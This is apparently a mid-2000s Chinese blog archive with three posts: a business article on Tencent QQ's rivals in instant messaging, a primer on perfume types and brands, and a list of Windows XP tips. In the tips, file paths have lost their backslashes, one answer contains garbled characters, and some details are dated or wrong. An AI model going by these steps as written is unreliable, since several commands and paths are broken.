      而马化腾的野心才刚刚开始。2005年3月,马拉开了资本运作的第一弓,一举收购老牌邮件系统foxmail。因为马化腾已经放言,要将qq.com在三年内打造成为国内三大门户网站之一。至此,腾讯已经越过即时通讯市场,在门户网站、邮件、网络游戏、电子商务、互联网和电信增值服务等几乎所有可以赚钱的领域全面出击。有人惊呼,“腾讯要挑战所有的互联网公司”。

      可是,马化腾真的可以一统江湖吗?很多业内人士心存疑问。 
     残酷一叮-- 


    三问马化腾
      
      赢周刊记者 梁树新  

      马化腾在经营管理中有个三问哲学,即每决定做一件事情之前都会问自己同样的三个问题:第一,这个新的领域你是不是擅长?第二,如果你不做,用户会损失什么吗?第三,如果做了,在这个新的项目中自己能保持多大的竞争优势?

      这种善于质问自己的思维方式也许是其成功法则之一,但在另一些问题上,我们很难获得一个令人信服的答案。追问这些问题的答案,不仅对腾讯,对中国所有的互联网企业也许都有不同程度的收益。

      一问:腾讯qq如何抵挡msn的正面强攻?  

      对于msn正式进军中国的消息,马化腾的回应是:“有压力是好事,我们会避其锋芒,不会与它硬拼。”

      事实上,腾讯确实没有与msn正面交火的记录,似乎有点井水不犯河水的味道。“腾讯对msn太轻敌了,迟早要为此付出惨重的代价。”博客中国网站ceo、互联网经济研究专家方兴东一针见血地指出。

      

      从长远看,这种轻敌思想无疑是极其危险的。也许连马化腾也意想不到腾讯qq会有今天的辉煌,所以危机意识一直并不强烈。“腾讯两年前就应该重视msn。但我迄今没有看到他们有采取任何针对msn的防卫措施。”方兴东对腾讯错失最好的防守机会似乎深表惋惜。

      首先,在舆论上,腾讯一直保持着低调作风,这或许与马化腾技术出身与个人性格有关。但众所周知,微软在操作系统中捆绑msn的做法是一种典型的垄断行为。正是这种霸道行为,让微软得以完成msn在中国市场的推广与宣传,并迅速笼络了大批追随者。而作为IM市场头马的腾讯从来没有发挥行业领导者的应有风范,在舆论上反对微软的这种垄断行为,从而争取政府、业界与用户的支持。另一方面,msn却在中国互联网企业的集体沉默中获得了宝贵的渗透时间,最终成功地暗渡陈仓,曲线入市。

      “腾讯目前的用户群和增长率并不足以为傲。因为msn进来以后,一定是势不可挡的,市场份额很快将要改写。”方兴东对腾讯的未来表示担忧。他断言,msn的全面扩张只是时间问题。在两年内,大家将会看到腾讯所付出的沉重代价。

      另一方面,我们也不难看到腾讯向msn“致敬”的动作。比如,为了争夺含金量很多的商务办公人群,qq也顺应民意推出了面向企业用户的RTX和纯商务风格的TM,但市场反应却波澜不惊。对宣称“工作,我用tm;娱乐,我用qq”的TM,很多人甚至怀疑这款产品是抄袭msn之作,因为风格实在太相似了。但它仍然与qq有着千丝万缕的联系,比如与qq可以使用同一个号码,可以在qq与tm之间自由切换的“双面”形象等,依然没有去掉其娱乐底色。腾讯要想在商用领域有所突破,必须有“壮士断腕”的勇气和决心,彻底抛弃QQ深入人心的娱乐风格,另辟个性化的商用风格。

      “在以后腾讯与msn的长期对峙中,如果腾讯不加快战略扩张与战术调整,处境非常危险。”方兴东说。  

      二问:三年内qq.com凭什么成为国内三大门户网站?  

      根据全球权威的网站排名机构alexa最新排名,腾讯目前在国内的综合排名是第四位,马化腾放言,腾讯的目标是成为国内三大门户网站之一。随着腾讯成功收购foxmail,马化腾开始了挑战三大门户网站的实质进攻。  


      方兴东认可腾讯这个要做门户网站的战略,但对其扩张速度和力度表示失望,“他们两年前就应该确立这个战略并开始实施了。”如今,随着msn的入侵,在门户网站前三甲的争夺上,又多了一个强劲的对手,难度更大了。

      对于腾讯的野心,分析人士早就预见到了,QQ不会只是盯住“小孩子”聊天级用户,真正图谋的市场是企业、商务、购物和游戏的综合服务,也就是马化腾所提出的大门户概念。不过,腾讯的野心固然很大,但在短期内很难取三大门户而代之。

      首先,三大门户的地位难以撼动。三大门户在中国互联网业已经确立了自己的地位,凝聚了优势资源和广泛注意力。比如,新浪以新闻和评论见长,成为用户心目中最重要的信息来源渠道,作为门户老大的地位非常巩固;搜狐以其展示五彩城市生活备受称道,其新闻的影响力也与日俱增,网易力挺吸聚人气的社区,要坚定不移地打造“中国互联网业内最大规模的新闻中心”。三大门户已经形成了各自的核心竞争力,让许多后来者可望不可及。

      其次,门户网站的竞争日趋激烈。目前,包括21CN、263等在内的综合性门户网站竞相发力,而且,宽带门户网站已经浮出水面,有线电视运营商、电信运营商、无线网络运营商都在构建宽带门户。与此同时,专注于某一领域(或地域)的垂直门户网站在“专一”上下功夫,力求做得更权威,这些个性化与多层次的特色服务,同样刺激和拉动着广大网民的消费。

      对于腾讯目前进行的并购行动,方兴东认为“属于小打小闹,没有太大意义。”他的观点是,腾讯应该大规模吞并一些具有个性特色的专业网站,把他们的团队技术和用户群带过来。这比泛泛招聘一些二流IT人才有效得多。其次,腾讯要想成为有影响力的门户网站,必须在内容制造上产生强大的影响力。而目前所见,qq.com在内容制造方面无任何特色,还是新浪的模仿版。腾讯的这块短板如果得不到解决,就很难实现它的三甲门户梦。

      瑞星科技股份有限公司毛一丁也指出,“现在腾讯网站的访问量只是一种被动访问量,与新浪等网站的主动访问量区别很大。”而所谓主动访问的意思是,这个网站可能已经成为了用户生活的一部分,会非常自然地主动打开来浏览。

      三问:腾讯能否成为第二个盛大?  

      在2004年腾讯上市时,马化腾曾表示将把上市融资的65%用于收购。主要有四个方向:无线增值、互动娱乐、网络内容以及和QQ密切关联的电子商务。马化腾认为,腾讯在互联网领域仍然是在圈地阶段,还远没有到收获的时候。  


      目前,腾讯的收入主要由三部分组成:互联网增值业务、电信增值业务以及网络广告。而据腾讯最新发布的财报显示,互联网增值服务首次超越移动及电信增值服务,成为腾讯最大的业务组成部分。这当中,网络游戏收入达到人民币2,090万元,是上一季度的三倍。

      根据腾讯的财报表现与多元化发展的路向,有人分析,马化腾正在效仿陈天桥,意欲将腾讯打造成为第二个盛大,成立自己的企鹅娱乐帝国。虽然马没有对这样的说法作出正面回应,但他坦承,腾讯发展至今,qq已不再是一款单纯的聊天软件,它是一个企业运作的平台,在这个平台上可以整合很多资源做很多事。而多元化发展是腾讯的必由之路。只有通过资本运作展开更多的并购行动,才能拥有与国际国内互联网巨头抗衡的力量。

      而被业界视为赚钱利器的网络游戏,马化腾自然不会轻易放过。早在2004年9月,马就首次公开表露了腾讯对网络游戏市场的野心,“上市之后腾讯手中握有2亿多美元现金,网络游戏市场也将成为我们下一步投资的重点产业。”有数据显示,我国仅网络游戏市场将达到20亿元的规模,并且还在以每年200%的速度高速递增。而盛大公司的游戏神话更是强烈刺激着投资者的头脑。

      马化腾能成为翻版陈天桥吗?“很难”,方兴东分析,陈天桥的个人风格是“有气魄,做事果断”,而马化腾则远不具备这种强硬的个性,这从对msn的纵容与忍让可见一斑。所以,马要成就一番伟业,还“必须再狠点”。其次,方兴东毫不客气地指出,马尚缺乏一种大企业家的宽阔胸怀。因为“国内很多企业要想与腾讯合作,是一件很难的事”。是马的傲气所致还是只想自己一支独秀,外人不得而知,但至少给人的感觉是,这个人还不具备引领整个行业的胸怀与风范。从战略层面上,方兴东则对腾讯“超级稳定不变”的管理高层表示质疑,认为“这样很不利于引进优秀管理人才,会影响腾讯的战略视野与战略规划”。另外,纵观腾讯的游戏产品,也缺乏自己的特色,甚至有些产品比如“qq堂”有着明显模仿盛大的痕迹。

      尽管瑞星已经成为腾讯的战略合作伙伴,毛一丁对马化腾的“企鹅帝国”梦仍然持保守态度,只是态度暧昧地表示,“一切都有可能”。毛一丁同时提醒,即时通讯作为腾讯主业,地位必须巩固,如果出现顾此失彼的局面,很可能导致腾讯整体崩盘。

      另有专家分析认为,网络游戏市场与过去的即时通讯市场远不能相提并论。目前腾讯已不具备客户渠道的垄断性优势,网游产品也不具备独特优势及差异化,且腾讯对运作网络游戏并不擅长。要想超越盛大,绝非易事。  
    谁能超越腾讯qq?
      
      赢周刊记者 梁树新  

      腾讯虽然已经开始全面开花,但它绝对不敢忘记自己的发家之本--即时通讯软件qq,这是腾讯的根基与主业。但在国内的IM(Instant Messaging,即时通讯软件)市场上,闻风而动的互联网巨头自然不甘心这块肥肉让腾讯一家独享。除msn长期紧咬qq的尾巴外,其他国内IM产品也是蜂拥而上,对腾讯形成了颇具威胁的合围之势。  

      宿敌msn步步紧逼  

      目前,在用户最常用的即时通讯软件中,腾讯 QQ以 77.7%的使用率遥遥领先,其他即时通讯软件与腾讯 QQ相比,在用户规模上仍然有着极大的差距,位居第二位的 MSN则只有 17.3%。

      但像微软这样的巨头,在尚未正式进入中国市场的背景下,已经能够保持这样的市场份额,可想而知,在正式开始在中国攻城掠寨后,必定会直逼腾讯。因为MSN应该属于世界范围内最强势的即时通讯软件。目前,在国内使用msn的几乎是清一色的办公室白领和商务人士,且710万的现有用户群远远没有饱和。在上班时间,当qq被几乎所有的公司封杀时,msn却以成熟稳健、清新素雅的商务风格在上班一族的电脑里顺利运行,因为很多老板自己也喜欢使用msn与员工沟通。这对腾讯绝对是一个无奈的事实,也是qq为自己浓重的娱乐风格必须付出的代价。  

      劲敌雅虎通个性十足  

      Yahoo Messenger,这一在国外有着大规模用户量级,对MSN形成极大威胁的“门户型”IM产品,在中国市场的开发上却并未获得足够的成功。目前仅以2..7%的市场占有率排在QQ和MSN之后。但是,因为其集成了主流即时通讯软件的绝大多数优点,而且首次实现了即时通讯产品与搜索工具的融合,通过其搜索产品“一搜”与“雅虎通”的巧妙整合,推动了搜索向桌面的扩展。

      雅虎通在商用领域的拓展,本来并没表现出多大的动作。但是因为3721的加入,这种势头己经明确显现。依托庞大的企业资源库,再加上雅虎通本身的功能优势,3721对“雅虎通”的推广将势在必行。

      后起之秀新浪uc  

      2004年7月1日,新浪正式宣布收购“朗玛UC”,并更名“新浪uc”。

      UC,这一即时通讯新贵,可以说是国内唯一一个能在娱乐功能和用户量级上与QQ逼近的IM产品。因此,它的加入意味着新浪能够坐收优势的技术支持和庞大的用户群体,而新浪倚借其国内门户的领先优势与UC已有成就相整合而成的“新浪UC”,可以说是一个“巨型级”的娱乐即时通讯“航母”,通过新浪的运作,至少在门户娱乐即时通讯领域会有一个较大的成功。 它对娱乐qq的威胁绝对不容小看。 

      网易泡泡(popo)持续发力  

      作为国内四大门户最先推出的IM软件,网易POPO曾位列2003年国内即时通讯软件用户量排名第三的实力。但由于新浪与UC的合并,直接导致其运用于门户娱乐服务的IM市场占有率大幅下滑。

      但是,较之“新浪UC”而言,网易POPO却在商用领域表现出一定的生存能力,抛开其具备的与各大主流IM软件类似的功能不谈,单从网易POPO在网络联接和防火墙穿透方面拥有的优势来看,只要能浏览网页就能使用POPO及其可以穿透任何防火墙的能力,使得它对经常在网上传输文件的商务用户形成极大的帮助。

      梁树新,广州日报赢周刊财经记者,欢迎指正。转载请注明来自《赢周刊》。交流方式:liangshuxin1998@163.com

    May 30

    香水知识知多少~~

    香水是由香精稀释在酒精和蒸馏水中,依据不同的比例生产而成的。香精又分为天然原料和化学合成原料。酒精的作用则是稀释香精,保持香味,以及最后促成香水香味的挥发。

    一款香水的结构,根据香味的组成,一般分为头香心香尾香。头香,是香水喷出来时的味道,一般最多持续15到20分钟。注意要等待10秒,酒精散去后,才能闻到头香。
    头香一般是比较不容易附着和停留的原料组成,例如桔子,柠檬香,草香等。
    心香,也叫中香,是香水的基调。持续几个小时,常见的有花香,香料香等。
    尾香,可以持续几个小时,甚至几天,由味道持久浓重的原料组成,例如麝香,檀香木,木香等。
    这是香水的经典结构,但香水设计本身就体现着创造性,不是所有的香水都按此金字塔结构组成。

    根据香精含量的不同,香水由淡到浓,可以分为以下几种:
    淡香水  eau de toilette 含量7%--10%  停留时间大约2到4小时
    香水    eau de Parfum 含量11%--15% 停留4到6个小时
    有的时候香水的配方会有一些改变,不一定和淡香水使用同样的原料,如使用更好的原料,或者加入其他原料,因此售价要高于淡香水。
    香精    Parfum  含量 16%--30%,一般都在15ml的小瓶中出售,价格昂贵,使用是一两滴足够。
    除此之外还有更淡的例如 eau de cologne, 也就是我们称作古龙水的,含量在2%—4%,以前用很多,现在还有一些老顾客。

    香水同一系列的产品很多,有沐浴液,香皂,护肤露,头发用的淡香水,身体用的香粉等等,都是同一香型,同时使用,会使香水的效果更加持久和完美。

    香水应储藏在阴凉的地方,一旦打开,最好在一年内使用。

    夏天要暴露在阳光下时,不要往皮肤上喷香水。为了弥补这个缺憾,现在有很多牌子生产不含酒精的香水(senteur),用于夏天室外。

    香水可以轻轻喷在衣服上,但要注意衣服的质地,不适合喷在比较精细的料子上,以及颜色比较亮的衣服上。千万不要喷在首饰上,尤其是珍珠类。

    室内,床头,或者衣柜里,抽屉里,也可以使用你喜欢的香水。

    法国的香水品牌,真是琳琅满目,但最老的,做香水起家的,要属Guerlain,娇兰了,这是个香水世家,创始人自己就是伟大的香水师,后来子承父业,继续创造了很多美丽的香水和故事。Chanel虽不是做香水起家,但因为一款chanel No. 5闻名于世,其香水制造一直保持着很高的质量和不断的创新。其他的品牌,大多是高级成衣,例如CD, YSL,Lanvin等。还有很多珠宝商,化妆品公司,都不断推出了自己的香水。选择香水的时候,要明白“香水,是我的秘密,我的个性”。不一定要去选某个牌子。同一款香水,用在不同人身上,会有不同的效果。这是因为每个人的皮肤,体温,体味不同。所以说“闻香识女人”呢,挑选香水的过程中,你的个性,平时的爱好,出席的场合,也都不知不觉泄漏出来了。

    香水的色彩

    红色

      有魅力的形象色彩最刺激的属红色。在红色中,各种香料大胆地互相挑衅并发挥作用,形成独特的风格。

      这种色彩的香水包括CALVINKLEN品牌的CONTRADICTION,ELIZABETHARDEN品牌的CHLOENARCISSE,GIORGIOBVERLYHILLS品牌的RED2,和KENZO品牌的KENZOJUNGLE等。CHLOENARCISSE用热带的异国风味的花和水果以及麝香,让辛辣调味料发挥效用,综合而成。

      黄色

      与高雅系列不同,这种色彩的形象既华丽有柔和,散发淡淡的香气/呈现黄色色彩的香水是名贵的。 

      这种色彩的香水有包括DOLCE&GABBANA品牌的DOLCE&GABBANA,GUERLAIN品牌的SAMSA-RA,和GIVENCHY品牌的ORGANZA。SAMSARA以正宗原料为基础而提炼出来的上等精品。

      粉色

      在各种类型中,最温和可爱的是粉色,它给人纯真,可爱,浪漫,腼腆的印象。甜蜜中散发着清新之感。  

      这种色彩的香水有包括GIVENCHY品牌的FLEURD’INTERDIT,JEANCOUTURIER品牌的MARJOLAINE,和ROPE品牌的EAUDEROPE等。marjolaine突破了传统的香味,让人联想起在太阳下盛开的花朵。

      紫色

      这是给人以艳丽,优雅印象的香味。想在气质高雅的成熟女性中引起共鸣的时候,深紫色是最佳的选择。

      这种色彩的香水有包括BVLGARI品牌的BVLGARIPOURHOMME,ELEGANCECOSMETICS品牌的ELEGANCE,LANCOME品牌的POEME,和TIFFANY&CO.品牌的TRU-ESTS等。POEME高雅不乏魅力的秘诀在于所使用的香韵是各种系列香味的有机结合。

      褐色  

      与传统的粉色和香味相对比,这种色彩富有时代和流行的特征,为成熟、热情、稳健和时尚的女性所青睐。 

      这种色彩的香水包括TOMMYHILLFIGER品牌的TOMMYGIRL,ARMANI品牌的ARMANI,和PACORA-BANNE品牌的PACO等。ARMANI是那种不向男性献媚又能展示女性无限魅力的香味。

      米黄色  

      在冷峻中透着温柔,在坚硬中不乏柔和的香味,即使不靠近也能给别人以清香。当你想表现高贵典雅的气质时可以使用。这种色彩的香水有包括GRES品牌的FOL-IEDOUCE,BIOTHERN品牌的EAUVITAMINEE,和CALVINKLEIN品牌的ETERNITY等。ETERNITY具有不被时代所左右的品格和时髦的特质,让人有随意亲切之感。

      蓝色   

      冷色调是最近和未来的流行趋势。被称作水的世界的蓝色系列,其清爽、轻快的香味越来越受到女孩的喜欢。 

      这种色彩的香水有包括ISSEYMIYAKE品牌的L’EAU D’ISSEY,GIOGRIOARMANI品牌的ACQUADIGIO,和REVLON品牌的FIRE&ICECOOL.ACQUADIGIO是如水般清澈透明的佳品。冷色虽然改变了麝香的香气,但仍具有一贯的神秘和清爽。

      绿色

      绿色表现朴素、自然、沉着、善良等优秀的品格。它也因是自然生命力的象征而倍受珍视。这种色彩的香水有包括SHISEIDO品牌的RELAXINGFRAGANCE,GRES品牌的CABOTINE,和RALPHLAUREN品牌的SAFARI等。RELAXING揉合了东方草药的香氛,散发着令人完全松弛的舒适芳香,为现今承受无数压力的女性创造出一片宁静的天地。

    国际市场男用香水经典品牌

    现今已有愈来愈多的男士开始注重服装以外的形象包装。洒香水正被更多的男士接受和喜爱。男性选用香水往往比女性更注重品牌和内涵,他们一方面担心廉价品种太脂粉气惹人笑话,另一方面坚信名牌香水的高雅乃是一种身份和品味的标志。以下是几种国际市场上经久不衰的男用香水品牌:

      切维浓:即城市猎人,是来自法国的前卫男用香水系列。具有清新敏感的芳香,予以不可思议的男性魅力,它浪漫,潇洒不拘,传达出代表五、六十年代美国式梦想和精神,更有一种追求悠闲年代的生活品味。享用“城市猎人”香水系列的男性族群,兼具革新和古典的气质仿佛置身于宽广的生活空间并追求自然原始的官能享受,也代表着成熟、坚韧。

      哈利:当美国硕果仅存的名牌哈利摩托制造厂授权意大利著名香水厂制造的哈利香水上市后。立即激起全球香水市厂的轰动。它不仅是好莱坞明星,流行歌手们最喜欢的香水,亦是企业家,社会名流,上层社会男士常备的香水,因为这种香水象征着他们的成就与权力。为了表现出男士们的特质,哈利香水创造出了一股强而有力和令人振奋的气息,是一种充分体现男性美感的香水。在不同的心境下,它代表着勇敢、冒险、高尚、优雅、精练和多情的感觉。

      兰堡No.6:火辣辣、鲜美、冷静的香型是男用香水生气勃勃的标志,其配方多采用柠檬、橙花油及迷迭香,1752年出品的兰堡NO.6是其代表,它是美国第一任总统乔治-华盛顿最喜爱的香水。今天在纽约,人们仍能买到它。

      兰德尔:随着男用香水渐渐普及,其香型也由清新提神作用而转为表现性感魅力的标志。其中最为典型的就是兰德尔,它是由英国最古老的香水制造厂YARDLER于1913年推出的。这种香水除了有熏衣草油外,还有一定比例的橙花油和檀香,三者都能产生性的幻想。

      凯热No.10:1929年上市的维也纳香水凯热NO.10也是这类香水的佼佼者,NO.10是马球运动的最高分,这种香水推出时,打着为知识男性服务的口号。他的征服者包括指挥大师赫伯特-冯-卡拉杨。

      奥德:1936年开始在美国曼哈顿销售的奥德。恩佩斯少了那么一点势利,他的香型包括了丁香,肉桂,香草及诱人的麝香,装在洁白纯净的瓶子里,一时成为二战期间美国军人装备的必备物。直到今天,它仍是美国人最爱的须后水。

      第凡内:优雅的欧洲绅士风格,以玫瑰香型为主,混合森林环保基调,由第凡内公司出品,每盎司高达200美元。

      小马车:艾尔媚的招牌香水,其男用品系独有男性气质和阳刚之美,每盎司170至200美元。

      鸦片:圣罗郎出品,有浓郁的东方香味,神秘而具男性魅力,是国际市场上又一经典的男性香水品牌,每盎司约170美元。

     

    香水牌子很多,以下是比较有名的:

    Anna Sui 安娜苏
    Benetton 贝纳通
    BLV 宝嘉莉
    Boss 波士
    Burberrys 巴宝莉
    Calotine 歌宝婷
    Calvin Klein 卡尔文·克莱
    Carolina Herrera 卡罗琳娜·海莱拉
    Cartier 卡地亚
    Cerruti 塞露迪
    Chanel 香奈儿
    Christian Dior 克丽丝汀·迪奥
    Clinique 倩碧
    Davidoff 大卫杜夫
    Dolce & Gabbana 杜嘉班納
    Dunhill 登喜路
    Dupont 都彭
    Elizabeth Arden 伊丽莎白·雅顿
    Escada 爱斯卡达
    Estee Lauder 雅诗兰黛
    Fendi芬迪
    Ferrari 法拉利
    Ferregamo 佛莱格默
    Giorgio Armani 阿玛尼
    Givenchy 纪凡希
    Gucci 古奇
    Guerlain 娇兰
    Hermes Parfums 爱马仕
    Issey Miyake 三宅一生
    J. Lo珍妮佛羅佩茲
    Jaguar 积架
    Kenzo 高田贤三
    Lacoste 鳄鱼
    Lancome 兰蔻
    Lanvin 兰文
    Mont Blanc万宝龙
    Morgan 摩根
    Moschinoa莫仙奴
    Nina Ricci 尼娜.瑞茜
    P0LO 拉尔夫.劳伦
    Paul Smith 保尔.史密斯
    Rochus 罗莎夫人
    Salvadordali 莎娃蒂尼
    Shieshdo 资生堂
    Versace 范思哲
    Yves Saint Laurent 圣罗兰

    May 29

    电脑小技巧,实用

    信息来源:黑白网络

    声明:以下技巧都是一些常用技巧,但也并不是每个人都很清楚,请只选择你感兴趣的或者你还不知道的内容观看。

    你可以用ctrl+f来查找你定位你要看的内容
      
      1、如何实现关机时清空页面文件打开“控制面板”,单击“管理工具→本地安全策略→本地策略→安全选项”,双击其中“关机:清理虚拟内存页面文件”一项,单击弹出菜单中的“已启用”选项,单击“确定”即可。
      
      
      2、如何自行配置Windows XP的服务
      如果你是在单机使用Windows XP,那么很多服务组件是根本不需要的,额外的服务程序影响了系统的速度,完全可将这些多余的服务组件禁用。单击“开始→控制面板→管理工具→服务”,弹出服务列表窗口,有些服务已经启动,有些则没有。我们可查看相应的服务项目描述,对不需要的服务予以关闭。如“Alerter”,如果你未连上局域网且不需要管理警报,则可将其关闭。
      
      3、Smartdrv程序有什么作用
      现象:在许多有关Windows XP安装的介绍文章中都提到:“如果在DOS下安装Windows XP非常慢,肯定是安装前未运行Smartdrv.exe。我想问这个Smartdrv.exe文件有什么饔?具体如何使用?
      
      Smartdrv.exe这个文件对于熟悉DOS的朋友肯定很清楚,主要作用是为磁盘文件读写增加高速缓存。大家知道内存的读写速度比磁盘高得多,如果将内存作为磁盘读写的高速缓存可以有效提高系统运行效率。Smartdrv.exe这个文件在Windows各个版本的安装光盘中或是硬盘上的Windows/command/里都有,只有几十KB,把这个文件复制到软盘下,启动系统后直接运行这个程序(可以不加参数,该程序会自动根据内存大小分配适当的内存空间作为高速缓存),再安装Windows XP即可。另外提醒大家,这个程序在安装完Windows后,不要运行,否则Windows可用内存将减少。
      
      
      4、Win32k.sys是什么文件
      现象:我刚装了Windows XP,可是接下去再装毒霸就发现病毒,位于F:WINNT SYSTEM32里的Win32k.sys文件,删又不可删,隔离又不行,在Windows 98下或DOS下删就会导致Windows XP不可启胛矢梦募歉墒裁从玫模惺裁捶椒ń饩觯?
      
      这个文件是Windows XP多用户管理的驱动文件。在X:WindowsSystem32Dllcache目录下有此文件的备份。只要将此备份拷到X:WindowsSystem32下替代带病毒的文件即可。做一张Windows 98启动盘,并将Attrib.exe文件拷入软盘,此文件在装有Windows 98的机器上的X:WindowsCommand目录下。在BIOS的Advanced BIOS Features 中将启动顺序调整为从A盘启动,进入DOS后,进入X:WindowsSystem32目录,输入Attrib -s -h -r win32k.sys,再进入X:WindowsSystem32dllcache目录下输入同样命令,再用copy win32k.sys X:windowsSystem32覆盖原文件,再重新启动即可。
      
      
      5、Windows XP的开机菜单有什么含义
      现象:最近我安装了Windows XP操作系统,我知道在启动时按F8键或当计算机不能正常启动时,就会进入Windows XP启动的高级选项菜单,在这里可以选择除正常启动外的8种不同的模式启动Windows XP。请问这些模式分别代表什么意思?
      
      (1)安全模式:选用安全模式启动Windows XP时,系统只使用一些最基本的文件和驱动程序启动。进入安全模式是诊断故障的一个重要步骤。如果安全模式启动后无法确定问题,或者根本无法启动安全模式,那你就可能需要使用紧急修复磁盘ERD的功能修复系统了。
      
      (2)网络安全模式:和安全模式类似,但是增加了对网络连接的支持。在局域网环境中解决Windows XP的启动故障,此选项很有用。
      
      (3)命令提示符的安全模式:也和安全模式类似,只使用基本的文件和驱动程序启动Windows XP。但登录后屏幕出现命令提示符,而不是Windows桌面。
      
      (4)启用启动日志:启动Windows XP,同时将由系统加载的所有驱动程序和服务记录到文件中。文件名为ntbtlog.txt,位于Windir目录中。该日志对确定系统启动问题的准确原因很有用。
      
      (5)启用VGA模式:使用基本VGA驱动程序启动Windows XP。当安装了使Windows XP不能正常启动的新显卡驱动程序,或由于刷新频率设置不当造成故障时,这种模式十分有用。当在安全模式下启动Windows XP时,只使用最基本的显卡驱动程序。
      
      (6)最近一次的正确配置:选择“使用‘最后一次正确的配置’启动Windows XP”是解决诸如新添加的驱动程序与硬件不相符之类问题的一种方法。用这种方式启动,Windows XP只恢复注册表项HklmSystemCurrentControlSet下的信息。任何在其他注册表项中所做的更改均保持不变。
      
      (7)目录服务恢复模式:不适用于Windows XP Professional。这是针对Windows XP Server操作系统的,并只用于还原域控制器上的Sysvol目录和Active Directory目录服务。
      
      (8)调试模式:启动Windows XP,同时将调试信息通过串行电缆发送到其他计算机。如果正在或已经使用远程安装服务在你的计算机上安装Windows XP,可以看到与使用远程安装服务恢复系统相关的附加选项。
      
      
      6、如何彻底删除XP
      现象:我装了Windows Me和Windows XP双系统,都是FAT32格式。C盘装Windows Me,E盘装Windows XP。昨天,Windows XP系统丢失了SYSTEM32.DLL,启动不了。于是我在进入Windows Me系统内,在E盘直接删除Windows XP。但是,每次开机都出现多系统启动菜单,供选择。我该怎样才可以彻底删除XP?
      
      用一张Windows 9x/Me的启动盘启动,在“A:”下输入“SYS C:”,给C盘重新传系统即可。
      
      7、如何处理Windows XP不能自动关机现象
      
      现象:我的Windows XP有时候不能自动关闭电脑,请问应该怎么办?
      
      安装完Windows XP之后,有些计算机在单击关闭电脑之后并不能自动关闭,而需像以前的AT电源一样手动关闭。这主要是Windows XP未启用高级电源管理。修正方法:单击“开始→控制面板→性能和维护→电源选项”,在弹出的电源选项属性设置窗口中,单击“高级电源管理”并勾选“启用高级电源管理支持”。
      
      8、如何创建“锁定计算机”的快捷方式
      
      因有急事而需要离开,但又不希望电脑进行系统注销,该怎么办?你完全可以通过双击桌面快捷方式来迅速锁定键盘和显示器,且无需使用“Ctrl+Alt+Del”组合键或屏幕保护程序。操作方法:在桌面上单击鼠标右键,在随后出现的快捷菜单上指向“新建”,并选择“快捷方式”。接着,系统便会启动创建快捷方式向导。请在文本框中输入下列信息:rundll32.exe user32.dll, LockWorkStation,单击“下一步”。输入快捷方式名称。你可将其命名为“锁定工作站”或选用你所喜欢的任何名称,单击“完成”。你还可对快捷方式图标进行修改(我最喜欢的一个是由Shell32.dll所提供的挂锁图标)。如需修改快捷方式图标,请执行下列操作步骤:右键单击“快捷方式”,并在随后出现的快捷菜单上选择“属性”。选择“快捷方式”选项卡,接着,单击“更改图标”按钮。在以下文件中查找图标文本框中,输入Shell32.dll,单击“确定”。从列表中选择所需图标,并单击“确定”。你还可为快捷方式指定一组快捷键,比如“Ctrl+Alt+L”。这种做法虽然只能帮助你节省一次击键,但却可使操作变得更加灵便。如需添加快捷键组合,请执行下列操作步骤:右键单击“快捷方式”,并在随后出现的快捷菜单上选择“属性”。选择“快捷方式”选项卡,在快捷键文本框中,输入任何键值,而Windows XP则会将其转换成快捷键组合(一般应采取Ctrl+Alt+任意键的形式)。如欲锁定键盘和显示器,只需双击相关快捷方式或使用所定义的快捷键即可。
      
      
      9、如何调整桌面图标颜色质量
      在桌面空白处单击鼠标右键,在打开的“显示 属性”对话框中选择“设置”选项卡,通过“颜色质量”下拉列表你可以调整计算机的颜色质量。你也可以通过编辑注册表来调整桌面图标的颜色质量,具体操作步骤:
      
      打开注册表编辑器,进入HKEY_CURRENT_ USERControl PanelDesktopWindowMetrics子键分支,双击Shell Icon BPP键值项,在打开的“编辑字符串”对话框中,“数值数据”文本框内显示了桌面图标的颜色参数,系统默认的图标颜色参数为16。这里提供的可用颜色参数包括 :4表示16种颜色,8表示256种颜色,16表示65536种颜色,24表示1600万种颜色,32表示True Color(真彩色)。你可以根据自己的不需要选择和设置你的桌面图标颜色参数。单击“确定”关闭“编辑字符串”对话框。注销当前用户并重新启动计算机后设置就生效。
      
      在桌面空白处单击鼠标右键,在打开的“显示属性”对话框中选择“外观”选项卡,在这里你可以方便地对整个桌面、窗口或者其他项目的字体和图标大小进行调整。
      
      不过,用这种方式设置图标大小有一定局限性,比如,用户只能选择系统已经提供的桌面大小方案,不能自己任意设置桌面图标的大小。如果你想随心所欲地对桌面图标大小进行调整,可以通过编辑注册表来达到目的。具体操作步骤是: 打开注册表编辑器,进入HKEY_CURRENT_ USERControl PanelDesktopWindowMetrics子键分支,双击Shell Icon Size键值项,在打开的“编辑字符串”对话框中,“数值数据”文本框内显示了桌面图标的大小参数,系统默认29,用户可以根据自己的需要设置参数大小(参数越大,桌面图标也越大),然后单击“确定”关闭“编辑字符串”对话框。当你注销当前用户并重新启动计算机后设置就生效。
      
      10、如何对系统声音进行选择与设置
      
      系统声音的选择与设置就是为系统中的事件设置声音,当事件被激活时系统会根据用户的设置自动发出声音提示用户。 选择系统声音的操作步骤如下:
      
      (1)在“控制面板”窗口中双击“声音及音频设备”图标,打开“声音及音频设备”属性对话框,它提供了检查配置系统声音环境的手段。这个对话框包含了音量、声音、音频、语声和硬件共5个选项卡。
      
      (2)在“声音”选项卡中,“程序事件”列表框中显示了当前Windows XP中的所有声音事件。如果在声音事件的前面有一个“小喇叭”的标志,表示该声音事件有一个声音提示。要设置声音事件的声音提示,则在“程序事件”列表框中选择声音事件,然后从“声音”下拉列表中选择需要的声音文件作为声音提示。
      
      (3)用户如果对系统提供的声音文件不满意,可以单击“浏览”按钮,弹出浏览声音对话框。在该对话框中选定声音文件,并单击“确定”按钮,回到“声音”选项卡。
      
      (4)在Windows XP中,系统预置了多种声音方案供用户选择。用户可以从“声音方案”下拉表中选择一个方案,以便给声音事件选择声音。
      
      (5)如果用户要自己设置配音方案,可以在“程序事件”列表框中选择需要的声音文件并配置声音,单击“声音方案”选项组中的“另存为”按钮,打开“将方案存为”对话框。在“将此配音方案存为”文本框中输入声音文件的名称后,单击“确定”按钮即可。如果用户对自己设置的配音方案不满意,可以在“声音方案”选项组中,选定该方案,然后单击“删除”按钮,删除该方案。
      
      (6)选择“音量”选项卡,打开“音量”选项卡。你可以在“设备音量”选项组中,通过左右调整滑块改变系统输出的音量大小。如果希望在任务栏中显示音量控制图标,可以启用“将音量图标放入任务栏”复选框。
      
